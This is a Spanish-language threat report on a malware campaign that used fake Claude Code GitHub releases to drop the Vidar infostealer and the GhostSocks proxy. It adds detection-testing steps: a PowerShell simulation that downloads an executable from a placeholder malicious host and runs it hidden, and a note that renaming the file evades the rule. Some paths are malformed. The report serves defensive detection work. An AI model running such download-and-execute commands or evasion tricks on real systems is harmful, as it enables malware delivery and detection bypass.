Claude Code Lures convierten los lanzamientos de GitHub en un canal de distribución de malware

Resumen

Los actores de amenazas rápidamente capitalizaron en un paquete npm mal configurado que expuso involuntariamente el código fuente de Claude Code de Anthropic. Configuraron repositorios falsos en GitHub que alojan lanzamientos “7z” troyanizados que despliegan un cargador construido en Rust. Una vez ejecutado, el dropper instala el infostealer Vidar junto con el proxy SOCKS5 GhostSocks para permitir el robo y el acceso encubierto.

Investigación

La investigación descubrió una operación de cebo rotativo activa desde febrero de 2026, que depende de cuentas de GitHub de corta duración para publicar artefactos de lanzamiento maliciosos. A lo largo del conjunto de cebos, las víctimas reciben la misma carga útil TradeAI.exe, que desencripta URLs de C2 incrustadas, realiza verificaciones anti-análisis y despliega tanto Vidar como GhostSocks. El descubrimiento de C2 se maneja a través de resolutores dead-drop alojados en Steam y Telegram, ayudando a la campaña a cambiar rápidamente la infraestructura.

Mitigación

Las organizaciones deben limitar las instalaciones de herramientas de IA a fuentes verificadas, bloquear enlaces de lanzamiento maliciosos de GitHub conocidos y dominios de C2 relacionados, y observar de cerca los comportamientos de robo de credenciales. Agregar detecciones de endpoint para droppers compilados en Rust y patrones comunes de ejecución de Vidar/GhostSocks. Fortalecer la cobertura para señales de evasión de sandbox y restringir la ejecución de scripts sospechosos (incluyendo actividad anómala de PowerShell) que pueda usarse para preparar o continuar acciones.

Respuesta

Si se detecta, aislar el endpoint, preservar el ejecutable malicioso y su archivo 7z asociado, y buscar artefactos de Vidar y GhostSocks en el host y la red. Bloquear las URLs de pastebin y snippet.host identificadas y revocar inmediatamente cualquier credencial expuesta. Realizar una evaluación completa de compromiso de credenciales, luego restablecer cuentas privilegiadas e invalidar tokens/sesiones para prevenir su reutilización.

Ejecución de Simulación

Requisito previo: El chequeo pre‑flight de Telemetría y Base de referencia debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y anhelar a generar la telemetría exacta esperada por la lógica de detección.

• Narrativa de Ataque y Comandos:
  Un adversario recibe un correo electrónico de phishing (T1566.002) que contiene un enlace malicioso que apunta a un repositorio de GitHub comprometido que aloja TradeAI.exe. La víctima hace clic en el enlace, que lanza PowerShell en una ventana oculta. El script descarga el dropper al directorio temporal, lo ejecuta, y el dropper posteriormente instala el ladrón Vidar y el proxy GhostSocks (T1027, T1090.003).

• Script de Prueba de Regresión:

   # -------------------------------------------------
    # Simular la ejecución del dropper TradeAI.exe
    # -------------------------------------------------
    $url = "http://malicious.example.com/TradeAI.exe"
    $outPath = "$env:TEMPTradeAI.exe"
  
    # Descargar el dropper (simular comportamiento real de atacante)
    Invoke-WebRequest -Uri $url -OutFile $outPath -UseBasicParsing
  
    # Ejecutar el dropper en silencio
    Start-Process -FilePath $outPath -WindowStyle Hidden
  
    # OPCIONAL: esperar unos segundos para permitir que se generen los procesos secundarios
    Start-Sleep -Seconds 5
    # -------------------------------------------------

• Comandos de Limpieza:

   # Eliminar el dropper descargado y cualquier artefacto temporal
    $outPath = "$env:TEMPTradeAI.exe"
    if (Test-Path $outPath) { Remove-Item $outPath -Force }
  
    # (Si el dropper creó archivos adicionales, localizarlos y eliminarlos según sea necesario)
    # Ejemplo: eliminar el directorio de carga útil conocido
    $payloadDir = "$env:APPDATAVidar"
    if (Test-Path $payloadDir) { Remove-Item $payloadDir -Recurse -Force }

Validación y Resultado Esperado

1. Alerta Esperada de SIEM: Después de ejecutar el script de regresión, el SIEM debería generar una alerta donde Imagen termine con TradeAI.exe (or ClaudeCode_x64.exe). El título de la alerta coincidirá con el título campo.
2. Prueba de Evasión: Renombrar el binario descargado a TradeAI_renamed.exe y vuelva a ejecutar el script. No debería dispararse ninguna alerta, confirmando la dependencia de la regla en nombres de archivo estáticos.

Recomendaciones de Fortalecimiento

1. Agregar Indicadores de Hash: Incluir los hashes SHA‑256 de droppers maliciosos conocidos en la regla (o en una regla separada basada en hash).
2. Ampliar Alcance: Extender la detección para monitorear ejecuciones de binarios desconocidos lanzados desde ubicaciones atípicas (por ejemplo, %TEMP%, %APPDATA%).
3. Correlación de Comportamiento: Correlacionar la creación del proceso con las conexiones de red subsecuentes a dominios de GhostSocks C2 conocidos (T1090.003) y escrituras de archivo de componentes conocidos de Vidar.
4. Aplicación en el Endpoint: Desplegar AppLocker o Windows Defender Application Control para bloquear la ejecución de binarios no firmados desde directorios escribibles por el usuario.

Fin del Informe